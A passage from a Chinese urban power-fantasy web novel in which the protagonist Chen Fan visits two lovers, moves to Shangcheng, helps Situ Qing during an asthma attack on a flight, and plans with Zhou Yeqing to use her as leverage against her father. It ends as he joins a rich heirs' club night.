我低头一看,竟然是苏婉情给我发来的消息,这个女人,找我做什么?
“主人,我在杭城,需要上门按摩么?”
092苏婉情来了!
苏婉情竟然来了杭城?
我脑海中不自觉的想起了她曼妙的身姿,于是我回到:“你在哪?我去找你。”
“那请您来我家吧,杭城上元1202。”
“主人,我在家等你……”
我微微一笑,将手机放在了一旁,平日优雅高贵的苏婉情,此刻和我玩起了游戏,没错,我确实喜欢她服侍我时候的样子。
自从,我和苏婉情上床后,她对我关怀有加,只不过这些天,我实在太忙了,没有时间理会她。
不过让我感到诧异的是:苏婉情竟然在杭城有家,不过想想她都到了行长这个位置,在杭城买房子也很正常。
“洗干净,等着我……”
我发了一条消息后,火速开车赶往苏婉情的家。
当我走出电梯门的那一刻,苏婉情便已经笑脸相迎,站在门外迎接我。
她一身得体的藏青色西装套裙,丝袜包裹着纤细的小腿,腿下是黑色的细高跟,她的长发盘在脑后,露出修长的脖颈,她灿然一笑,让人如沐春风。
“主人……欢迎您回家……”
苏婉情微微躬身,声音轻容,带着一丝丝的恭敬,对于这个称呼,我还蛮喜欢的,毕竟,如果没有我,苏婉情不可能坐上海城大发银行总行长的位置。
“主人,您这边请。”
苏婉情伸出手,然后另一只手挽住了我的胳膊,将我往客厅里面引。
“听说主人最近劳顿,我特意炖了点安神的汤品,还有……”她忽然停住了声音,然后侧过头看我一眼,眼波流转道:“我最近特意为您学习了一些按摩理疗的手法,要尝试一下吗?”
“真乖!”我摸了摸苏婉情的头,笑着说道。
我和周叶青在茶社谈事情,直到离开,我都没有吃完饭,我确实挺饿的,我坐在餐桌上,大快朵颐起来。
苏婉情坐在我的对面,她陪我一起吃饭,我笑着问道:“当总行长的感觉怎么样?”
“嗯……还挺好的……就是应酬更多了……”苏婉情给我的碗里夹了一块排骨,道:“你瘦了,多补一补。”
苏婉情看着我,她的眸子深情又温柔。
“嗯……最近遇到点麻烦事。”我低着头吃饭。
“解决了?我能帮上忙吗?”苏婉情关心的问道。
我举起筷子摆了摆手,道:“解决了,不过,以后海城我不会回去了,凡颜资本贷款后续的事情,你要保证资金到位。”
“嗯……”苏婉情点了点头,道:“你不回海城了?为什么?”
我抬起头,迎着苏婉情的目光看去,她的眼里有一点点失落。
“我打算到上城发展。”我说道。
听了我的话,苏婉情微微一愣,但眼神里却闪过一丝崇拜。
“上城,是一个好地方,遍地富商巨贾。”苏婉情微微一笑。
“嗯,你们搞投资的,应该很喜欢这里。”我说道。
“是啊,如果能调到上城,哪怕做一个分行行长,都比在海城当总行行长强。”苏婉情说道。
我不在继续这个话题,我知道,苏婉情一直都是一个很有上进心的女人,如果周叶青将我扶持起来,以我的人脉,调动苏婉情去上城做个分行行长,应该不是难事。
只不过,我不会主动提出来,我会等,等苏婉情主动求我的那一天。
吃完饭,我靠在了客厅的沙发上,我点燃一颗烟,她走了过来。
她把自己摆在了一个低位的姿态,就如同我的奴仆,她很聪明,知道如何讨我喜欢。
我没有说话,只是微微阖上眼睛,算是默许。
苏婉情绕到我的身后,她伸出手,轻轻的落在我的太阳穴上,她的身上飘散着淡淡香气,她的力道很轻,她的手指微热,轻轻按摩下,让我很是放松。
不得不说,她的手法极其专业,绝非业余爱好者的水平,每一次按压、揉捏,都恰到好处的舒缓我的情绪。
“力度可以吗?。”她轻声询问,声音近在耳畔,气息温热。
“嗯。”我应了一声。
她继续着手上的动作,从太阳穴延伸到头皮,随后,她的双手下移,落在我的脖颈和肩膀上。
这里的肌肉因为长期保持警惕和坐姿,最为僵硬。她的手法也随之变化,不再是轻柔的按压,而是带着巧劲的揉捏和推拿。
“主人,请翻身。”
她轻轻扶着我的身体,让我仰卧在沙发上,然后她拿出了一个小瓷瓶,一股浓郁的草药味弥漫开来。
“这味道,很香,和你一样。”
苏婉情听后,噗嗤一笑道:“这款精油特别舒缓精神还非常解乏,我帮你把衣服脱了。”
说着,她伸手解开我的衬衫,一颗接着一颗,她的脸色也越来越红。
我趴在沙发上,享受着她的按摩。
她的手掌不像看起来那么纤细无力,反而很有力,推、压、揉、捏,各种手法娴熟切换。
我能感觉到她的呼吸微微急促,但她没有丝毫懈怠,依旧全神贯注。
“主人,请翻身。”她的声音带着一丝完成任务的轻松和期待。
我依旧翻身,重新仰躺。
她跪坐在我腿边,用温热的湿毛巾细心地擦去我背上残留的精油,动作轻柔得像是在对待一件稀世珍宝。
做完这一切,她并没有立刻起身,而是就着跪坐的姿势,微微仰头看着我,脸颊泛着运动后的红晕,眼神迷离,如同醉酒。
“主人,放松了吗?还累么?”她轻声的询问,似乎期待我的肯定。
我不着急回答,我伸出手,用手指轻轻捏着她的下巴,她没有反抗,反而顺从的扬起头,她闭着眼睛,她红唇微张,吐气如兰。
“想我了?”我声音低沉的问道。
“嗯……”她轻柔的说:“知道你在杭城,特意来这里出差,就为了见你。”
此刻的她,不再是白天那个温柔美丽的女行长,而是一个等待我宠爱的女人。
我能感受到她的对我的思念,否则,她也不会来找我。
我没有进一步的动作,只是用手指摩挲着她光滑的下颌线,感受着她肌肤的细腻和温度。
“手艺不错,看来你是用心学了。”我淡淡地评价道。
“你喜欢就好……”
听到我的夸奖,她睁开眼睛,露出一个满足的笑容。
我摸着她的脸,忽然抱起她。
她轻哼了一声:“要做什么?”
“去卧室……”
093苏婉情的温柔(上)!
我拉着苏婉情进入了卧室,她羞红了脸.
灯光下的她,脸色微红,别具风情。
我迫不及待的扑了上去,将这些天的压抑全部释放出来。
吧嗒。
苏婉情随手关掉了床头灯。
这一夜,我彻底释放了自己,当我早上醒来的时候,苏婉情已经去开会了,只剩下我自己。
按照惯例,她依旧给我做好了早饭,我吃完,先去商场买了一身衣服,然后去找夏颜。
我不想让夏颜闻到我身上有其他女人的味道。
期间,我收到了柳媚笙的电话。
“陈凡,有个消息要告诉你,这次袭击夏颜的,还有夏振宇。”
“果然有他一份,他真够歹毒的!”
“你打算怎么办?”柳媚笙问道。
“找夏振宇算总账!”我狠狠的说道。
回到医院时候,夏颜已经醒了,靠坐在床头,她脸色已经好多了,眼神恢复了几分往日的清明与坚韧。
看到我进来,夏颜的目光立刻投向我,带着询问和一丝不易察觉的依赖。
我把和周叶青见面会谈的事情,都告诉她了,她静静地听着。
“上城……太复杂了,水太深了。”夏颜说到。
“我没的选择,你这次遇袭的事情,夏振宇也掺和进去了。”
我想了想最后还是选择告诉夏颜,尽管这个结果很残酷,但我必须说。
“猜到了,这才符合他的性格。”
“夏振宇连手秦昊对付你,出卖你,我是不会原谅他的。”我说道:“我这次去上城,找到机会,我就要弄垮夏振宇!”
我的眼神充满了一丝的狠厉!
夏雨的病越来越重,只有夏颜的器官能救她,夏振宇不会善罢甘休的。
所以我必须先下手为强!
“上城是漩涡中心,但也是机会最多的地方。”
夏颜沉默了片刻,她是个聪明的女人,自然明白我话中的含义,也清楚我决定的事情,很难改变。她抬起头,看着我,眼神复杂,有担忧,有不舍,但最终化为一种支持。
“我明白了。”她深吸一口气,努力让自己的声音听起来平静而有力,“你去吧,‘凡颜资本’这边,我会看好,你……在上城,一定要小心。”
她没有过多挽留,因为她知道,这是我变强的必经之路。
“等我站稳脚跟。”我看着她,许下承诺:“我会接你过去。”
夏颜眼中闪过一丝光亮,轻轻点了点头。
离开医院,我先给柳媚笙打了电话。
因为杭城的事情已经结束,柳媚笙提前回到了海城,我将前往上城的决定告知了她。
柳媚笙听完讶异,沉吟道:“上城……周叶青……你这一步,走得可是又险又绝啊,司徒茗的老巢,周家大小姐的棋盘……陈凡,你确定要跳进去?”
“棋局已经摆开,由不得我不下。”我淡淡道:“你在海城,夏颜要帮我照看好。”
柳媚笙看了我许久,忽然嫣然一笑,道:“去吧去吧,你这尊煞神,留在海城也确实屈才了,上城那潭水,正好让你去搅和搅和,放心,海城我给你看着。”
她在电话里笑道:“到了上城,可别被那些世家大小姐迷花了眼,忘了我们这些‘旧人’。”
“不会忘记你的,对了薇儿的公司弄的怎么样了?”我问。
这小丫头,好几天没过问她的事情了。
“她呀,这些天已经玩嗨了,公司已经在筹建了,半个月后就能运转。”
“好,那我就放心了。”
“陈凡,你要在上城,闯出一番天地出来,我等着看你辉煌的那一天!”
“好!”
我挂上和柳媚笙的电话,去了秦悦的酒店。
秦悦只穿了一件睡衣出现在我面前,她姣好的容颜配上绝佳的身材,让我不免动心。
我直接抱住了她,将头放在她的肩膀上。
“我要去上城发展了。”我淡淡的说道。
“是周叶青找你了?对吗?”秦悦忽然俏脸一红,道:“陈凡,你的手不要乱摸,我会……”
“你会什么?”我笑着问道。
“讨厌,你明知故问!”
秦悦抬起头,看向我,眼神复杂道:“我早就该想到的,司徒鸣亲自出面,看似平息了风波,但也把你逼到了必须选择站队的墙角,周叶青她一直想找一把能撕开司徒鸣防线的尖刀,而你,无论是能力、胆识,还是与秦昊、司徒鸣已然结下的梁子,都是最合适的人选。”
她的分析,冷静而精准。
“你分析的很到位。”我说。
“上城那个圈子,就是这样。合纵连横,利益交换,秦昊……他不过是司徒鸣麾下一条比较疯的狗罢了。他还想妄图家主的位置。”
她顿了顿,看着我,眼神变得认真起来,道:“陈凡,周叶青这个女人,不简单,与她合作,无异于与虎谋皮。她能给你的,也能随时收回。在上城,不要完全相信任何人,包括她。”
“知道了。”我点了点头。秦悦这番话,或许是出于善意,或许也是为了给她自己留一条后路。
“另外……”秦悦犹豫了一下,还是说道,“如果你在上城遇到什么困难,你都要第一时间告诉我。”
秦悦一脸认真的看着我,她眼神里的关心,让我为之心动。
“可以。”我应允下来,多条路,总不是坏事。
“你在这边,也要盯紧秦昊,我猜测,秦昊敢和你翻脸,他应该知道当年你父亲对他父亲秦远志,做过的事情了。”
柳媚笙既然能掉查到当年秦家的秘闻,那么秦昊依靠司徒鸣,他当然也能够调查到。
只要秦昊知道当年秦远宏为了家主,制造车祸,弄残秦昊的父亲,以秦昊那个疯批性格,保不齐能干出什么事情来。
秦悦点了点头,道:“这件事,我也猜到了,秦家的内斗也要正式开始了,这下可有的忙了。”
秦悦揉着眼睛,一脸疲惫。
我轻轻搂着她的腰,笑着说道:“其实,还有个更简单的办法,只要司徒鸣倒了,秦昊也就倒了。”
“嗯,不过没有那么容易。”
“所以,我这次去上城,对付司徒鸣,也是为了帮你,你打算怎么谢我?”
“你要我这么谢?”
“与我在床上大战三百回合!”
“好。”
秦悦羞红了脸,可却主动拉着我的手向床边走去。
094苏婉情的温柔(下)!
秦悦迫不及待的拉着我,她脸上的红晕荡漾开来。
在这座豪华酒店里,秦悦将自己的身体,再度交给了我。
我知道,这次和以往不一样,秦悦是身心都属于了我。
几天后,我将所有的事情都料理好后,就坐上了飞往上城的航班。
我头等舱座位,闭目养神,我在考虑什么时候去找夏振宇算账,还有在上城发展的局势。
“救救我……”
“我好难受……”
忽然,一阵呼救的声音传来,声音带着急促的喘息。
我睁开眼,只见一个二十岁出头的女孩,正痛苦地蜷缩在座位上,她脸色煞白,一只手死死地捂住胸口,另一只手则慌乱地在随身的小包里翻找着什么,呼吸越来越困难,嘴唇甚至开始有些发绀。
是哮喘?我第一时间反应过来。
于是我马上起身走了过去,问道:“药在哪里?什么样的?”
女孩艰难地抬手指了指包的一个夹层,气息微弱,道:“蓝……蓝色……喷雾……”
我立刻伸手探入她所指的夹层,指尖触碰到一个冰凉的小罐子,迅速拿了出来——正是一个蓝色的哮喘应急喷雾剂。
没有半分耽搁,我一手轻轻扶住她因为脱力而后仰的头,另一只手将喷雾剂对准她的口腔,沉声道:“深呼吸!”
她像是抓住了救命稻草,用尽最后力气,配合着我的动作,猛地吸了一口!
药物喷入气道,效果几乎是立竿见影的,几秒钟后,她那恐怖的喘息开始逐渐平复,煞白的脸色也慢慢恢复了一丝血色,虽然依旧虚弱,但至少呼吸顺畅了。
她靠在椅背上,大口大口地喘着气,仿佛刚从溺水的边缘被拉回来,眼神中的恐慌渐渐褪去,取而代之的是一种劫后余生的茫然和对我的感激
“谢谢你……”她抬起头,那双水汪汪的大眼睛望着我,里面充满了真挚的谢意。
“现在好点了吗?”我问道。
“嗯!”女孩点了点头。
“这种药还是随身携带的比较好。”我微笑着提醒。
“嗯!”女孩点了点头。
我将女孩的包包还给她,然后正准备走回自己的位置,她却忽然抓住了我的手。
“我……我叫司徒晴,刚才真的……真的太感谢你了!如果不是你,我……”
司徒晴?
这个姓氏让我的动作微微一顿,在上城,复姓司徒,且能坐头等舱,气质又如此不凡……难道……
我重新坐下,看着她,不动声色地问:“你是上城人?”
“嗯!”司徒晴用力点头,似乎因为我能跟她多说几句话而有些开心。
“我家就在上城,你呢?也是去上城吗?是去工作还是旅游?”她像个好奇宝宝一样问道,眼神清澈,毫无心机。
“工作。”我简短地回答,心中已然有了几分猜测,这世界,有时候就是这么小。
“真巧!”司徒晴笑了起来,那笑容如同阳光穿透云层,纯净而温暖,道:“那你对上城熟悉吗?如果不熟悉的话,我可以给你做向导哦!算是……报答你的救命之恩!”
她说着,眼神亮晶晶的,带着一丝期待。
直到这时,我才得以仔细打量她,她很年轻,皮肤白皙细腻,五官精致得如同瓷娃娃,长发柔顺地披在肩头,穿着一条简约的白色连衣裙,气质干净剔透,带着一种不谙世事的纯真感。
“举手之劳,你不必客气。”我婉拒了她的好意,道:“我对上城还算熟悉。”
“哦……”司徒晴的脸上掠过一丝显而易见的失望,但很快又振作起来,道:“那……那我们能交换个联系方式吗?我……我想以后有机会正式感谢你。”
她拿出手机,眼巴巴地看着我,那眼神让人很难拒绝。
看着这张纯真无邪、与司徒鸣那老谋深算的面容并无太多相似之处的脸,我心中念头飞转。
与司徒晴接触,无疑是在刀尖上跳舞,风险极大。但反过来想,这或许也是一个意想不到的机会。
风险与机遇并存。
我沉思了片刻,在她期待的目光中,最终还是拿出了手机,与她交换了联系方式。
“陈凡。”我报上了自己的名字。
“陈凡……”司徒晴轻声念了一遍我的名字,仿佛要牢牢记住,然后脸上露出了灿烂的笑容,道:“我记住啦!陈凡大哥!”
她叫我大哥,语气自然。
接下来的航程,司徒晴不停地找话题与我聊天。
从她的话语中,我了解到她还在上城一所顶尖的艺术学院读书,学的是油画,平时喜欢看画展、听音乐会,生活简单,言语间透露出的都是一个被宠爱着长大的女孩的天真与烂漫。
我大多时候只是安静地听着,偶尔回应几句,态度算不上热情,但也维持着基本的礼貌。
可能就是这种淡然的感觉,反而更激起了司徒晴的好奇心,她看我的眼神,从一开始的感激,渐渐多了一丝探究和……不易察觉的仰慕。
飞机开始下降,广播里传来准备着陆的通知。
司徒晴显得有些依依不舍,她看着我,很认真地说:“陈凡大哥,到了上城,如果你遇到什么麻烦,或者需要帮忙的地方,一定要告诉我!虽然……虽然我可能帮不上什么大忙,但我会尽力帮你的!”
“谢谢。”我点了点头。
飞机平稳降落在上城国际机场,我刚走出来没几步,司徒晴就追了过来。
“陈凡大哥,你怎么走?有人来接你吗?要不……我让我家的司机送你一程?”她热情地提议道。
“不用了,有人接我。”我指了指不远处一个举着牌子、穿着黑色西装的人。
司徒晴顺着我指的方向看了一眼,眼中闪过一丝了然,随即又有些失落:“哦……那好吧。那……我们电话联系?”
“好。”我应道。
她这才露出笑容,朝我挥了挥手,然后在不远处几个明显是保镖模样的人的簇拥下,走向了另一个方向。
周叶青派来的接机人已经走到我面前,恭敬地接过我的行李:“陈先生,周小姐已经为您安排好了住处,请随我来。”
095周叶青的饭局!
坐在周叶青安排的车上,我一路欣赏沿途的风景。
上城,果然是个富饶之地啊!
这是我第一次来这里,这里高楼大厦,CBD众多,路上的豪车数不胜数,果真一副奢华气派的景象。
司机将车子驶入了一个高端社区,这里安保严密,绿化即佳。
“陈总,请您先住在这里,稍后,我们周总会和您联系。”
“好。”
司机将一串钥匙和一个加密的电话卡,放在了书桌上,然后就离开了。
我站在巨大的落地窗前,俯瞰这楼下的车水马龙,这座城市让我很有压迫感,也催发了我心里向上攀登的欲望和野心。
不知为何,我的脑海里,不自觉的浮现出司徒晴那张纯真无邪的笑脸,同时还有司徒鸣那张老谋深算的脸。
这对父女,一个是不谙世事的温室花朵,一个是诡计多端的大佬,我盘算着如何利用司徒晴。
我拿出新手机,插上了那张加密电话卡,就在开机的一瞬间,一条信息,就跳了进来,是周叶青。
“晚上八点,景山会所,为你接风,顺便介绍几位朋友给你认识。”
我简单的整理了一下行李,冲了个澡,换上了一身干净的便装,然后打开电脑,这里有周叶青给我准备的资料,大多是上城各种有头有脸人物的信息。
“还真是,知己知彼百战百胜。”我不由得笑了笑。
这资料里面,排在第一的当然就是司徒鸣。
他的资料,涉及的产业,足足有20多页,可见周叶青对他调查有多详细。
忽然,我的手机响了起来,是一个陌生的上城电话号码,我微微皱眉,接了起来。
“喂?是陈凡大哥吗?”电话那头传来一个女孩声音,是司徒晴。
我离开机场不过两三个小时,她就给我打来了电话。
“是我。”我回应道。
“陈凡大哥,你安顿好了吗?住的地方还习惯吗?上城今天天气有点干,你要多喝水哦!”
她絮絮叨叨地关心着,语气里的真诚不似作伪。
“还好,谢谢关心。”我的回答依旧简短。
“那个陈凡大哥。”司徒晴似乎鼓足了勇气,“为了感谢你今天的救命之恩,我想请你吃顿饭,不知道你明天晚上有没有空?”
她再次发出了邀请,而且比在飞机上更加正式。
我并没有马上答应,也没有拒绝,司徒晴这条线,如果运用得当,也许会有意想不到的收获。
“明天晚上,可以。”我权衡利弊,最终答应下来。
“真的吗?太好了!”司徒晴在电话那头开心得几乎要跳起来,道:“那说定了哦!地点我定好了发给你!不打扰你休息了,陈凡大哥,明天见!”
她欢快地挂了电话。
我收起手机,眼神深邃。
傍晚七点五十分,我准时抵达景山会所,会所坐落在一处僻静的胡同深处,外表是古朴的四合院形制,朱门高墙,但内里却别有洞天,融合了中式典雅与现代奢华,细节处无不彰显着权势与财富。
我被服务员引了过去,院子里已经有客,周叶青坐在主位,正慢条斯理地品着茶,在她旁边,坐着两个男人。
一个约莫四十岁左右,戴着金丝眼镜,面容白净,气质儒雅,他正在与周叶青低声交谈着什么。
另一个则年轻些,三十出头,穿着休闲西装,坐姿略显随意,眼神带着几分审视和好奇,在我进来时,目光便毫不避讳地落在我身上。
“陈凡,你来了。”周叶青看到我,微微一笑,放下茶杯,为我介绍道:“这位是李泽李主任,在发改委任职,是我们的‘大管家’。”她指向那个戴眼镜的儒雅男子。
李泽站起身,微笑着向我伸出手,语气温和道:“陈凡先生,久仰,叶青可是对你赞不绝口啊。”
“李主任,幸会。”我与他轻轻一握,笑着道。
“这位是张家的张远,我们都叫他小张总,在上成的圈子里,消息最是灵通。”周叶青又介绍那个年轻些的男子。
张远没有起身,只是懒洋洋地靠在椅背上,冲我抬了抬下巴,算是打过招呼,嘴角带着一丝玩味的笑意道:“听说你杭城挺能折腾,连司徒家那个疯狗秦昊都让你给收拾了?有点意思。”
“运气而已。”我淡淡回应,在他对面的位置坐下。
“运气可收拾不了秦昊那条疯狗。”张远嗤笑一声,拿起桌上的酒杯晃了晃,道:“不过,上城可不是杭城,这里的水,深着呢,光靠运气和狠劲,可混不下去。”
他的话带着明显的试探和一丝警告。
周叶青适时开口,道:“张远,陈凡是我请来的客人,也是我们未来的合作伙伴,过去的事情不必再提,重要的是未来。”
她的话看似在打圆场,实则明确了我的地位和与她之间的关系。
张远挑了挑眉,没再说什么,只是意味深长地看了我一眼。
李泽则笑着接过话头:“陈总初来上城,想必对很多情况还不熟悉。有什么需要了解的,或者遇到什么麻烦,都可以随时找我。在规则允许的范围内,我一定尽力。”
他这话说得滴水不漏,既表达了支持,也划定了界限。
接下来的晚宴,气氛在周叶青的掌控下,维持着热闹,我大多时候只是安静地听着,偶尔在周叶青将话题引向我时,才简单回应几句。
我清楚,这次会面更多的是一种姿态,是周叶青向圈内人宣告我的加入,也是让我初步接触和适应这个新的环境。
“陈凡。”晚宴接近尾声时,周叶青看向我,道:“既然你决定在上城发展,总要有个起点,我名下有一家投资公司,目前正好缺一个能镇得住场面的副总,你过去吧。”
我没有犹豫,点了点头:“可以。”
周叶青脸上露出了满意的笑容:“好,那明天就让苏晴带你去公司熟悉一下环境。”
饭局结束后,离开景山会所,已经是深夜。
晚风吹在脸上,让人瞬间精神了不少。
周叶青与我并肩走到车旁,她停下脚步,看着我,夜色中她的眼眸格外明亮。
“陈凡,李泽和张远,是你需要打交道的两类人的代表,李泽谨慎,重利益,可用,但不可全信。张远看似纨绔,实则精明,他家在上城根基很深,消息灵通,是很好的助力,但也桀骜不驯,需要你能压得住他。”
她这是在向我传授在这个圈子里的生存之道。
“我明白。”我笑着回答。
“还有一件事。”周叶青顿了顿,声音压低了几分,道:“我收到消息,司徒鸣那边,已经知道你到上城了。”
“看来,他是知道司徒晴和我见面的事情了。”
“哦?”周叶青微微诧异道:“你和他女儿见面了?”
096请叫我晴儿!
“嗯。”我无奈一笑道:“在飞机上偶遇的,碰巧,她生病了,我照顾了她一下,就这么碰巧。”
周叶青听完,脸上露出笑容道:“陈凡啊陈凡,你还真是个福将,没想到你这么快就和司徒家的人碰上了。”
“可能,这就是司徒鸣知道我来上城的原因吧。”
我心里猜想,司徒鸣让保镖来接女儿,想必也就是这个时候,知道我来上城了。
“也不是没有可能。”周叶青道。
“司徒晴明天要请我吃饭。”我接着说道。
“哦?”周叶青眼神一亮,眼眸中释放出一抹光芒,道:“这可是接近司徒家的好机会,你可要把握住啊。”
“嗯……”
我点了点头。
我原本以为周叶青知道我和司徒晴有往来,会心生怀疑,没想到,她的格局竟然如此之大。
看来和周叶青合作,要比想象中的轻松许多。
“司徒晴心思单纯,是司徒鸣的掌上明珠,司徒鸣还有一个儿子,叫司徒宇,是被当做掌门人来培养的。”周叶青淡淡的介绍起来。
怪不得司徒晴如此单纯,原来是家业无需她继承,所以,司徒鸣对她宠爱倍加。
“不过,司徒晴可是司徒鸣的软肋,这次吃饭,是一个机会。”
“我明白。”我斜靠在车边,点燃一根烟。
“把握好分寸。”周叶青叮嘱道:“司徒晴不是秦悦,更不是夏颜。她背后的司徒家,是真正的庞然大物,让她信任你,依赖你,甚至对你产生好感,但这好感,必须控制在‘安全’的范围内,成为我们与司徒鸣博弈时,一枚有用的棋子。”
周叶青的谋划,冷静而又残酷。
如果司徒鸣知道,她在算计自己的宝贝女儿,估计提到杀人的心都有了。
“我知道该怎么做。”我看着周叶青,眼神无比坚定。
周叶青,你确实是我的盟友,有事,我们可以商量,但是,请不要命令我。
这是我的底线!
……
翌日。
我按照司徒晴发送的位置,去赴宴。
司徒晴将饭局安排在了一家隐秘的四合院私房菜馆,青砖灰瓦,朱红大门,门口没有任何招牌,只有两个穿着朴素但眼神精悍的门房,验证了我们的身份后,服务员才恭敬地引我们入内。
院内别有洞天,亭台楼阁,小桥流水,极其雅致清静,司徒晴已经在正房的暖阁里等候。
“陈大哥,你来了!”
见到我后,司徒晴高兴的站起身来迎接我,她今天穿了一身连衣裙,长发挽起,露出光洁的额头和修长的脖颈。
此刻的她,端庄,优雅,带着世家千金特有的、浸润到骨子里的贵气,但眼神里依旧保留着一丝不谙世事的清澈。
“看来是我来晚了。”我微微一笑道。
“不不!陈大哥,是我来早了!对了陈大哥,以后你喊我晴儿就好,我家里人都这么叫我!”司徒晴一脸开心的邀请我入座,她特意拉开椅子,将我照顾的很周到。
“好好!以后就喊你晴儿!”我笑着答应下来。
“陈大哥,我敬你一杯,谢谢你昨天在飞机上帮了我!”
“那我就喝了这杯酒了!”
我拿起酒杯和司徒晴碰了一杯,然后一饮而尽。
司徒晴也不来虚的,直接一杯干掉!
“好!女中豪杰!”我哈哈大笑!
“那在来一杯!”司徒晴接着又倒上了第二杯!
几杯啤酒下肚,司徒晴的话匣子就跟打开了一样,整个饭局,都是她在说话,我一直洗耳恭听。
不过我觉得这样挺好,至少,我不累。
“陈大哥,和你聊天好开心啊,我感觉自己很自由!嘿嘿!”
“怎么,你家人管你很严格?”我试探性的问道。
“我大哥那个人啊,就是太严肃,整天就知道工作,一点意思都没有。”司徒晴撅了撅嘴,带着点小女生的抱怨,道:“有时候我觉得,他把我管得太紧了,哪里都不让去,什么都不让碰,生怕我惹麻烦似的。”
“你哥也是关心你。”我顺着她的话,道:“毕竟,你是他最珍视的妹妹,外面的世界,有时候确实复杂。”
“我知道他是为我好。”司徒晴叹了口气,道:“可是……我也想能做点自己的事情,证明自己啊。”她看向我,眼睛亮晶晶的。
“陈大哥,要不你带我做生意好不好?”司徒晴笑着问道。
她的眼神里充满了期待,像一只渴望飞出笼子的金丝雀。
我看着她的眼睛,那里面没有丝毫杂质,只有纯粹的向往和信任。
“经商不易,风险也大。”我思考了一番后道:“不过,如果你真的有兴趣,或许可以从一些相对稳妥的、你感兴趣的领域开始尝试,有机会的话,我可以帮你留意一下。”
我没有大包大揽,而是给出了一个模糊但充满诱惑的承诺。
“真的吗?那太好了!”司徒晴立刻喜笑颜开道:“谢谢,陈大哥!你真好!”
饭后,司徒晴兴致勃勃地邀请我在院子里散步赏月。
“陈大哥。”走在蜿蜒的石子小路上,司徒晴忽然轻声问道:“你说我大哥他,是不是觉得我很没用,所以才什么都不让我做?”
她的语气里,带着一丝不易察觉的失落和自卑。
我停下脚步,看着她月光下显得有些朦胧的侧脸,这一刻,她不再是那个光芒万丈的司徒家千金,只是一个渴望得到认可的女孩。
“怎么会?”我声音温和的道:“每个人都有自己的闪光点,你的善良,你的真诚,这些都是非常宝贵的品质,你哥不让你接触太多,或许只是不想让那些复杂的东西污染了你的纯粹。”
我顿了顿,话锋微转,道:“不过,适当的历练也确实能让人成长,或许,你可以找个合适的机会,和你大哥好好沟通一下,让他看到你的决心和能力。”
司徒晴若有所思地点了点头:“嗯!您说得对!我是该跟大哥好好谈谈了!”
我送司徒晴走出了饭店,保镖走上前,为她开门。
“陈大哥,今晚很开心,我以后还要找你玩!”
她降下车窗,笑着和我打招呼。
“好!”我笑着回应。
送走了司徒晴,我就收到了周叶青的消息。
“怎么样?”他问。
“很顺利。”我简单的回了一句。
“很好,保持联系,循序渐进。司徒鸣那边,我会让人留意他的动向,司徒晴这颗‘棋子’,要用在最关键的时候。”
097林薇儿的想念!
回到豪华公寓,我简单的冲了个澡。
当我走出浴室的时候,我的微信视频,就响个不停。
我一看,是林薇儿这个小丫头来的。
于是,我马上按起来接听键!
让我感到意外的是,视频里的林薇儿穿着一身户外登山装备,正坐在山顶,她后面还有一个大大的帐篷。
“哥哥,我在等日出!好开心呀!我要分享给你!”
画面里的林薇儿笑的格外灿烂,她一颦一笑,但纯粹无比,这一幕,让我想到了司徒晴,也许这两个女孩,可以成为朋友。
“你自己看日出?安全么?”我马上警觉起来。
“有我在,包她安全的!”
一个熟悉的声音响起,柳媚笙从帐篷里走了出来。
“是啊,有柳姐姐陪我,我很安全的!”林薇儿一脸兴奋道:“哥哥,明天早上,我要拍日出给你看!”
“好!”
“哥哥你在哪里?”
“我现在在上城!”
“那我要去上城找你玩!”
“好!”
“耶!”林薇儿高兴的双手比了一个耶,然后朝着身后的柳媚笙道:“柳姐姐,哥哥同意了!”
柳媚笙灿然一笑,她怎能不懂这个女孩的心思。
我知道,林薇儿是想我了。
正好她现在是空档期,能多玩几天,也让她放松一下。
第二天早上,我果然收到了林薇儿发来的日出视频,站在山顶的她,张开双手,在阳光的映照下,她浑身都散发着光芒。
好看至极!
她还给我留言:下次,我们一起看日出好不好?
就在这时候,我收到了一个陌生的电话。
我接起来,里面传来张远的声音。
“诶,陈凡,晚上有个局,就在万豪俱乐部这边,都是些朋友,挺热闹的,要不要一起去玩玩?”
我知道,这是张远安排的节目,算是一种进入他们圈子的敲门砖吧。
“好啊,那就叨扰张少了。”我点头答应。
“OK!晚上见!”张远在电话里说道。
挂上电话,我就打开周叶青给我准备的资料,我在翻看万豪俱乐部,这个俱乐部成立在三年前,这里汇聚了上城有名的富二代。
如果富二代有梯队的的话,那张远的等级应该是属于T1级别的,算是挺牛的了。
我顺便查了查张远的资料,张远的父亲名为张海洋,创立了海洋远航贸易公司,年收入不菲,但能够进入上城的富豪榜,想必应该在十位数。
“周叶青既然把张远介绍给我认识,那有没有可能,张家也和司徒鸣有仇?”
“否则的话,周叶青实在没必要将一个富二代介绍给,就单纯的混入这个圈子?周叶青的实力已经是顶级的了!”
这个想法在我的脑海里出现,看来找个机会,可以试探一下张远。
到了晚上,我如约而至!
“来了陈凡,走,带你去看看我们的夜生活!”张远笑着拍了拍我的肩膀。
“好。”我也笑着点头答应。
张远带着我走进了俱乐部,穿过一个曲径通幽的回廊,来到俱乐部的隐秘区域,然后有专门的服务员推开厚重的隔音门,里面传来震耳欲聋的电音和喧闹声。
门里门外,真是不同的世界。
当隔音门推开的那一刹那,巨大的激光向我袭来,里面灯光弥漫,中间是一个下沉式的舞池,里面挤满了年轻男女,他们衣着光鲜,神态迷离,跟随者音乐舞动着身体。
舞台四周是环形的卡座,沙发上坐着的男男女女,同样非富即贵,喝酒、摇骰子、嬉笑打闹,空气中弥漫着昂贵奢靡的气息。
这就是上城顶级富二代的夜生活,与海城那种带着江湖气的喧嚣不同,这里更多了一种被金钱娇惯出来的放纵。
“张少来了!”
“远哥!”
“张公子!”
张远显然是这里的常客,一路走过去,不断有人跟他打招呼。
他随意地应付着,然后带着我径直走向最里面一个卡座,卡座里已经坐了七八个人,男女都有,看到张远过来,纷纷起身。
“远哥!”
“张少,你可算来了!”
“这位是……?”
张远大咧咧地往主位一坐,搂过一个穿着性感短裙、妆容精致的女孩,然后指了指我道:“陈凡,我朋友,海城来的大老板,以后都照顾着点!”
“凡哥!”
“陈老板好!”
众人纷纷跟我打招呼,他们知道能被张远亲自带来的,没人敢小觑。
我微笑着点头回应,在张远旁边的空位坐下,立刻有穿着暴露的女侍应生端来酒水,都是价值不菲的洋酒和香槟。
坐在张远另一边的一个剃着板寸、戴着耳钉、年轻男子对我挑衅道:“陈老板,玩骰子会吗?光喝酒多没意思。”
“他叫李哲,家里是搞金融的,在这个圈子里以手黑和好赌出名。”张远笑着对我说。
